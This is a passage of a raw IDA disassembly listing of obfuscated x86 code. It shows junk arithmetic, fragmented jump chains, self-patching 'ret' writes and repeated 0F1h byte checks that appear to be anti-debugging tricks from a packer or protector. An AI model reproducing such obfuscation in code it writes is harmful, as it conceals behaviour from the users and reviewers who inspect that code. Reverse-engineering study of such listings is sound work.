CODE XREF: sub_747C22:loc_7469CFj ; _0z4jwtox:loc_747B55j ... mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_7539C5 jmp loc_74530F ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E3F7 loc_74FD05: ; CODE XREF: sub_74E3F7-12D4j xor eax, 39283E88h add eax, 0C311AA2Eh add eax, ebp push ecx push 0EB67B806h pop ecx jmp loc_74A84A ; END OF FUNCTION CHUNK FOR sub_74E3F7 ; --------------------------------------------------------------------------- loc_74FD1F: ; CODE XREF: _0z4jwtox:00756DE7j jge loc_75633E ; START OF FUNCTION CHUNK FOR sub_74AD56 loc_74FD25: ; CODE XREF: sub_74AD56+C674j jmp nullsub_242 ; END OF FUNCTION CHUNK FOR sub_74AD56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457CB loc_74FD2A: ; CODE XREF: sub_7457CB+7j jmp loc_74E5A4 ; END OF FUNCTION CHUNK FOR sub_7457CB ; --------------------------------------------------------------------------- sbb ebx, edi jmp loc_756338 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_74FD36: ; CODE XREF: sub_747A94:loc_7528F5j add edx, ebp push edi push 9AFA0B13h pop edi sub edi, 6531D2F1h and edi, 7FE6DD5h sub edi, 3D35C313h jmp loc_74697A ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- loc_74FD56: ; CODE XREF: _0z4jwtox:loc_756352j push edx push eax push 267E0C99h pop eax jmp loc_7492A1 ; --------------------------------------------------------------------------- and ebx, 0CFB6A0B7h cmp ebp, 881E3869h jmp loc_74E118 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A83D loc_74FD74: ; CODE XREF: sub_74A83D:loc_74A84Aj and ecx, 9DFCF15h xor ecx, 7CDE9A4Bh loc_74FD80: ; CODE XREF: _0z4jwtox:0074D76Dj add eax, ecx pop ecx mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_755338 jmp loc_750968 ; END OF FUNCTION CHUNK FOR sub_74A83D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_74FD93: ; CODE XREF: sub_74ECEF:loc_74B4D2j mov edx, esi pop esi rol edx, 1Ah sub edx, 38836C86h jmp loc_75772D ; END OF FUNCTION CHUNK FOR sub_74ECEF ; --------------------------------------------------------------------------- loc_74FDA4: ; CODE XREF: _0z4jwtox:0075226Cj mov eax, [esp] push ebp mov ebp, edx call sub_755915 ; START OF FUNCTION CHUNK FOR sub_754949 loc_74FDAF: ; CODE XREF: sub_754949+Aj jmp nullsub_281 ; END OF FUNCTION CHUNK FOR sub_754949 ; --------------------------------------------------------------------------- loc_74FDB4: ; DATA XREF: sub_7484F5+5C82o call sub_753D0E push offset sub_74DE6C jmp locret_7497E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749115 loc_74FDC3: ; CODE XREF: sub_749115+Aj push edx push edx call sub_74E531 loc_74FDCA: ; CODE XREF: sub_74BED4-3395j jmp loc_745C26 ; END OF FUNCTION CHUNK FOR sub_749115 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756FF2 loc_74FDCF: ; CODE XREF: sub_756FF2-1368j xchg edi, [esp+0] jmp sub_750C4E ; END OF FUNCTION CHUNK FOR sub_756FF2 ; --------------------------------------------------------------------------- mov eax, 0B88FF16Dh call sub_746E93 mov ds:off_41F064, eax lea eax, sub_756FF2 mov byte ptr [eax], 0C3h jmp loc_748A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756FF2 loc_74FDF5: ; CODE XREF: _0z4jwtox:00749F20j ; sub_756FF2+1j push offset loc_74BC0A jmp loc_7497E4 ; END OF FUNCTION CHUNK FOR sub_756FF2 ; --------------------------------------------------------------------------- loc_74FDFF: ; CODE XREF: _0z4jwtox:0074999Aj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_74FE00: ; CODE XREF: sub_752520+2458j jmp loc_755938 ; END OF FUNCTION CHUNK FOR sub_752520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA2F loc_74FE05: ; CODE XREF: sub_74BA2F+Ej jmp loc_74EB7C ; END OF FUNCTION CHUNK FOR sub_74BA2F ; --------------------------------------------------------------------------- loc_74FE0A: ; CODE XREF: _0z4jwtox:loc_74E54Bj xchg edx, [esp] call sub_74FE16 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_74FE16 proc near ; CODE XREF: _0z4jwtox:0074FE0Dp push ebp call sub_7515AA sub_74FE16 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_75364C loc_74FE1C: ; CODE XREF: sub_75364C:loc_747482j setnz byte ptr [ebp-5] push edi push 435E3931h pop edi jmp loc_7467CA ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BE45 loc_74FE2C: ; CODE XREF: sub_74BE45+31E5j cmp dword ptr [ebp-4], 0 jz loc_74D586 call nullsub_5 ; END OF FUNCTION CHUNK FOR sub_74BE45 ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74FE3B: ; CODE XREF: sub_748A22-7D7j ; sub_7474B9:loc_752F4Fj jz loc_74CA49 xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jmp loc_7533C1 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- locret_74FE4F: ; CODE XREF: _0z4jwtox:loc_74E73Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_74FE50: ; CODE XREF: sub_74698F+Bj jmp loc_754378 ; END OF FUNCTION CHUNK FOR sub_74698F ; =============== S U B R O U T I N E ======================================= sub_74FE55 proc near ; CODE XREF: sub_74FE55-6DA6p ; _0z4jwtox:0074A076j var_10 = dword ptr -10h arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074508F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00746AF3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00746D6A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074771B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007479D3 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00747F62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007482A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748679 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 007488EE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00749083 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007490AA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074A3B1 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0074A5DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A9B1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A9D8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074AF28 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074B266 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074B90C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074C086 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C19E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C6D2 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0074D017 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D356 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074E2E9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074E83C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E9B5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074EF56 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074EFE5 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0074F6D8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0075018F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00750860 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00752303 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00752414 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00752B99 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 007538BD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00753F45 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075440C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00755887 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755B07 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00756004 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0075626A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075685B SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx cmp al, 0A4h jz loc_750861 jmp loc_74E9B5 sub_74FE55 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_74FE66: ; CODE XREF: sub_75364C:loc_754B77j popf xchg esi, edx mov edx, [ecx] jmp loc_7533F6 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- loc_74FE70: ; CODE XREF: _0z4jwtox:0074A4A5j popf ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74FE71: ; CODE XREF: sub_7543C5:loc_74A48Ej sub edx, 9C577636h xor edx, 7E48469h xor eax, edx pop edx jz loc_74D938 jmp loc_75526D ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_74FE8B: ; CODE XREF: _0z4jwtox:007536D0j rol eax, 4 add eax, 0FB3D6BACh or eax, 0E3FA97B1h add eax, 1474F969h pushf push ebx push 0CEA0453Eh jmp loc_74EC84 ; --------------------------------------------------------------------------- loc_74FEAC: ; CODE XREF: _0z4jwtox:00755CF7j ror ebx, 11h ; =============== S U B R O U T I N E ======================================= sub_74FEAF proc near ; CODE XREF: sub_7572F3:loc_750BB1p ; FUNCTION CHUNK AT 00751165 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0075321C SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 4A4CC1AAh pop eax sub eax, 99518F31h jmp loc_75321C sub_74FEAF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750715 loc_74FEC4: ; CODE XREF: sub_750715-263Ej push edx call sub_7570B1 mov eax, 0F26FE81Bh call sub_746E93 mov ds:off_41F0B4, eax lea eax, sub_750715 mov byte ptr [eax], 0C3h jmp sub_750715 ; END OF FUNCTION CHUNK FOR sub_750715 ; =============== S U B R O U T I N E ======================================= sub_74FEE8 proc near ; DATA XREF: _0z4jwtox:00756C99o call sub_74FACE mov eax, 0CE6B079Ah push edi push 6A970C51h pop edi or edi, 91EC23FCh and edi, 0BA4ECD80h add edi, 46266DC3h jmp loc_74FFBB sub_74FEE8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748773 loc_74FF10: ; CODE XREF: sub_748773:loc_74D97Fj pop eax sub eax, 0BD24F97Dh rol eax, 17h add eax, 0EDDBC250h popf push offset loc_74D778 jmp nullsub_147 ; END OF FUNCTION CHUNK FOR sub_748773 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74FF2B: ; CODE XREF: sub_74D1F3+291Ej jbe sub_751EFF adc edi, ebp pop ecx xchg esi, edi jmp loc_74AF85 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74FF3B: ; CODE XREF: sub_74A7D8-2082j jns loc_74F8AA mov esi, [ebx] loc_74FF43: ; CODE XREF: sub_74A7D8:loc_754AA6j add esi, 4BE59DC2h xor esi, 36A78C80h xor eax, esi pop esi jb loc_746E0F jmp loc_750609 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74FF5D: ; CODE XREF: sub_74D23E-2FF9j jbe loc_75646B mov ebp, [ebx] loc_74FF65: ; CODE XREF: sub_74D23E:loc_750B2Bj and edi, 75C6777Dh add edi, 0FC707F62h xchg edi, [esp+4+var_4] jmp loc_74A0DE ; END OF FUNCTION CHUNK FOR sub_74D23E ; =============== S U B R O U T I N E ======================================= sub_74FF79 proc near ; CODE XREF: _0z4jwtox:00747E62j ; _0z4jwtox:00747F58p ; FUNCTION CHUNK AT 00752208 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi loc_74FF7D: ; CODE XREF: _0z4jwtox:007572E2j xor eax, 158671F9h sub eax, 5007F0BFh jmp loc_752208 sub_74FF79 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756496 loc_74FF8E: ; CODE XREF: sub_756496j mov eax, ds:dword_753554 jmp loc_754317 ; END OF FUNCTION CHUNK FOR sub_756496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_74FF99: ; CODE XREF: sub_74C2C9:loc_74935Fj jnz loc_74A05A call sub_755179 loc_74FFA4: ; CODE XREF: _0z4jwtox:loc_74DCCCj mov edx, 0E5254649h call sub_74BA29 mov dword ptr ds:loc_74F377+1, eax loc_74FFB3: ; CODE XREF: _0z4jwtox:loc_745BE7j ; sub_74C2C9+386Fj ... mov esp, ebp pop ebp call sub_755164 loc_74FFBB: ; CODE XREF: sub_74FEE8+23j jmp loc_746547 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_74FFC0: ; CODE XREF: sub_748B52-680j jmp nullsub_13 ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_74FFC5: ; CODE XREF: sub_74C8DA+AD1Bj jnz loc_74A8C7 jmp loc_749692 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A1BE loc_74FFD0: ; CODE XREF: sub_74A1BE+Fj mov byte ptr [eax], 0C3h jmp loc_75078A ; END OF FUNCTION CHUNK FOR sub_74A1BE ; --------------------------------------------------------------------------- call nullsub_290 jmp ds:dword_41F024 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_74FFE3: ; CODE XREF: sub_748C0D+4996j jmp loc_756F17 ; END OF FUNCTION CHUNK FOR sub_748C0D ; --------------------------------------------------------------------------- loc_74FFE8: ; CODE XREF: _0z4jwtox:00745A06j jmp loc_74E08A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_290. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jns loc_7530B6 jmp loc_754187 ; --------------------------------------------------------------------------- mov eax, ebx jmp loc_752887 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_750000: ; CODE XREF: sub_74AAC1+Ej jnz loc_752B2E jmp loc_74E97B ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754CBF loc_75000B: ; CODE XREF: sub_754CBF+29D7j ja loc_7499F1 not ebp pushf loc_750014: ; CODE XREF: sub_754CBF:loc_757687j rol edi, 18h jmp loc_74ACE6 ; END OF FUNCTION CHUNK FOR sub_754CBF ; --------------------------------------------------------------------------- loc_75001C: ; CODE XREF: _0z4jwtox:00757395j sub eax, 45576478h ror eax, 1Dh add eax, 0F304E64Eh mov edx, [esp] jmp loc_7478EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_750033: ; CODE XREF: sub_74BF3A-34F8j jno loc_74C2EC not ebp jmp loc_754B94 ; END OF FUNCTION CHUNK FOR sub_74BF3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457DD loc_750040: ; CODE XREF: sub_7457DD:loc_755704j ; sub_74AE46:loc_755BDAj mov byte ptr [eax], 0C3h jmp sub_7571A1 ; END OF FUNCTION CHUNK FOR sub_7457DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_750048: ; CODE XREF: sub_7571A1j pop edx mov eax, [esp-4+arg_0] push edx push ebx push 0FCF46073h jmp loc_74B8D5 ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- loc_750058: ; CODE XREF: _0z4jwtox:loc_7549ADj jz loc_746C1D jmp loc_753620 ; --------------------------------------------------------------------------- loc_750063: ; CODE XREF: _0z4jwtox:loc_75523Bj jmp ds:dword_41F0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_750069: ; CODE XREF: sub_74673E:loc_747579j ; _0z4jwtox:0074BB61j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74673E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] db 84h ; --------------------------------------------------------------------------- jmp short loc_7500E4 ; --------------------------------------------------------------------------- dw 0FFFFh ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push edx call sub_753D0E push 904AA3Bh pop eax jmp loc_75576B ; --------------------------------------------------------------------------- loc_750089: ; CODE XREF: _0z4jwtox:00754274j sbb ecx, ebp ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_75008B: ; CODE XREF: sub_7490F6:loc_754259j add ebx, 0BCBB47D8h mov [ebx], eax pop ebx retn ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529BD loc_750095: ; CODE XREF: sub_7529BD-173Aj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_7529BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AA82 loc_75009A: ; CODE XREF: sub_74AA82+Ej jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74AA82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_75009F: ; CODE XREF: sub_746E37+399Cj jmp loc_751388 ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_7500A4: ; CODE XREF: sub_747A94-2203j jmp loc_74EF5D ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A821 loc_7500A9: ; CODE XREF: sub_74A821-5412j jmp loc_746693 ; END OF FUNCTION CHUNK FOR sub_74A821 ; =============== S U B R O U T I N E ======================================= sub_7500AE proc near ; CODE XREF: sub_7490F6:loc_747588p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745881 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748E34 SIZE 0000000A BYTES push edi mov edi, ebp xchg edi, [esp+4+var_4] jmp loc_745881 sub_7500AE endp ; --------------------------------------------------------------------------- loc_7500B9: ; CODE XREF: _0z4jwtox:loc_746CEAj cdq cmp esi, 46BEF38Ah jmp loc_75117B ; =============== S U B R O U T I N E ======================================= sub_7500C5 proc near ; CODE XREF: sub_75051C:loc_749906p ; sub_74C3EB+6311j xchg eax, [esp+0] pop eax mov edx, [ebp+8] mov [edx-10h], eax inc dword ptr [ebp-4] mov eax, [ebp+8] call sub_7457CB loc_7500DA: ; CODE XREF: sub_74A372+6A01j jmp loc_754B85 sub_7500C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7500DF: ; CODE XREF: _0z4jwtox:0074E02Ej jmp locret_74D419 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_7500E4: ; CODE XREF: sub_745911+2F04j ; _0z4jwtox:00750070j jmp loc_74815D ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- jmp ds:off_41F084 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74504D loc_7500EF: ; CODE XREF: _0z4jwtox:00745823j ; sub_754779:loc_74595Fj ... js loc_745064 pop edx mov eax, [esp-8+arg_4] push edi mov edi, edx xchg edi, [esp-4+arg_0] push offset sub_74CC05 loc_750104: ; CODE XREF: _0z4jwtox:007539F4j jmp sub_747156 ; END OF FUNCTION CHUNK FOR sub_74504D ; --------------------------------------------------------------------------- loc_750109: ; CODE XREF: _0z4jwtox:007549BEj jb loc_748DDB xor ecx, 96885E7Ah jmp sub_74673E ; --------------------------------------------------------------------------- pushf xor ebx, eax jmp sub_74720A ; --------------------------------------------------------------------------- push 18B0A5DEh pop eax rol eax, 8 sub eax, 7FE2C82Eh rol eax, 0Fh test eax, 1000h jmp loc_749910 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_75013F: ; CODE XREF: sub_74C8DA:loc_746E0Aj cmp byte ptr [eax], 0F1h jnz loc_7573A9 jmp loc_74E5D5 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A4B0 loc_75014D: ; CODE XREF: sub_74A4B0:loc_7545C1j pop ebp xchg ebp, [esp+0] call sub_750C4E mov eax, 92A798AFh push ecx jmp loc_74510B ; END OF FUNCTION CHUNK FOR sub_74A4B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_750161: ; CODE XREF: _0z4jwtox:0074711Bj ; sub_7543C5:loc_74A494j jnz loc_74F457 loc_750167: ; CODE XREF: sub_7476BB+F386j jmp sub_756158 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_75016C: ; CODE XREF: sub_74A96E+2381j jmp loc_747856 ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- or ecx, 7516F91Dh cdq sub esi, 3F2C59F9h jmp loc_74F457 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_750183: ; CODE XREF: sub_745911+285Dj and al, 0F6h push offset sub_74F3E4 jmp nullsub_78 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_75018F: ; CODE XREF: sub_74FE55+45C3j mov esi, [edi] and esi, ebx loc_750193: ; CODE XREF: sub_74FE55:loc_74E9B5j push 3CD03998h pop eax xor eax, 0B37F429Fh sub eax, 454A15BBh rol eax, 19h jmp loc_752414 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C0C loc_7501AD: ; CODE XREF: sub_747C0C+3F17j xchg eax, [edi] ; END OF FUNCTION CHUNK FOR sub_747C0C ; =============== S U B R O U T I N E ======================================= sub_7501AF proc near ; CODE XREF: sub_74721B:loc_746E2Dp ; _0z4jwtox:loc_74F4A6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745710 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074584E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074587C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00745CDB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00746D41 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074795D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748250 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007486F9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074982F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074A0A3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074B3B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C093 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074E70E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F2B4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074F3B7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FAC5 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0074FB16 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00751103 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751FA4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00754D34 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00755EF0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 007568A0 SIZE 00000018 BYTES xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_755EF0 jmp loc_74F3B7 sub_7501AF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_7501C4: ; CODE XREF: sub_752D11:loc_7506CCj jnz loc_74BF06 jmp loc_74987B ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7476A3 loc_7501CF: ; CODE XREF: sub_7476A3+13j add eax, offset byte_777A31 xchg eax, [esp+4+var_4] jmp loc_74FA4B ; END OF FUNCTION CHUNK FOR sub_7476A3 ; --------------------------------------------------------------------------- xchg edx, eax jmp sub_7460F1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75547D loc_7501E5: ; CODE XREF: sub_75547D:loc_747661j xor edi, 51F089F8h sub edi, 0B2083CD0h cmp edi, 161E3CFEh jmp loc_75492B ; END OF FUNCTION CHUNK FOR sub_75547D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_7501FD: ; CODE XREF: sub_7474B9+5045j jmp loc_757183 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; =============== S U B R O U T I N E ======================================= sub_750202 proc near ; DATA XREF: sub_755C38-F49Co ; FUNCTION CHUNK AT 0074E22E SIZE 00000005 BYTES add edx, 7220B264h mov [edx], eax pop edx lea eax, loc_75344B mov byte ptr [eax], 0C3h jmp loc_74E22E sub_750202 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_750219 proc near ; CODE XREF: sub_40656E+D4p ; sub_750219+5j ; DATA XREF: ... call sub_74C0A0 jmp ds:off_41F09C sub_750219 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75481B loc_750224: ; CODE XREF: sub_75481B+8j jmp nullsub_134 ; END OF FUNCTION CHUNK FOR sub_75481B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_750229: ; CODE XREF: sub_74FA7E-685Aj jmp loc_7508AF ; END OF FUNCTION CHUNK FOR sub_74FA7E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_75022F: ; CODE XREF: _0z4jwtox:00754EABj add ebx, 0B6B1B37Bh mov [ebx], eax pop ebx mov word ptr [ebp-6], 0FFFFh jmp loc_74CA96 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_750243 proc near ; CODE XREF: sub_7510EA-936Dj ; sub_748A22-7DFp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007451CE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074BAF5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C456 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C829 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074CC7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D453 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0074DD6B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00753A40 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0075561F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007567C6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00756FA5 SIZE 00000014 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h jmp loc_74DD6B sub_750243 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_75024E: ; CODE XREF: _0z4jwtox:00756D44j jnz loc_7463C9 loc_750254: ; CODE XREF: _0z4jwtox:00746EC0j cmp ebx, 28EF5D29h jmp loc_755B1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7453AD loc_75025F: ; CODE XREF: sub_7453AD+9924j rol eax, 6 mov edx, ecx jmp loc_745F4F ; END OF FUNCTION CHUNK FOR sub_7453AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_750269: ; CODE XREF: sub_75364C-2C8Bj sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] jmp loc_756CBA ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- loc_750275: ; CODE XREF: _0z4jwtox:00754A11j jo loc_750854 cmp edi, 0CAAF8C62h jmp loc_74AFB6 ; =============== S U B R O U T I N E ======================================= sub_750286 proc near ; CODE XREF: sub_418AC8+21p ; sub_750286+5j ; DATA 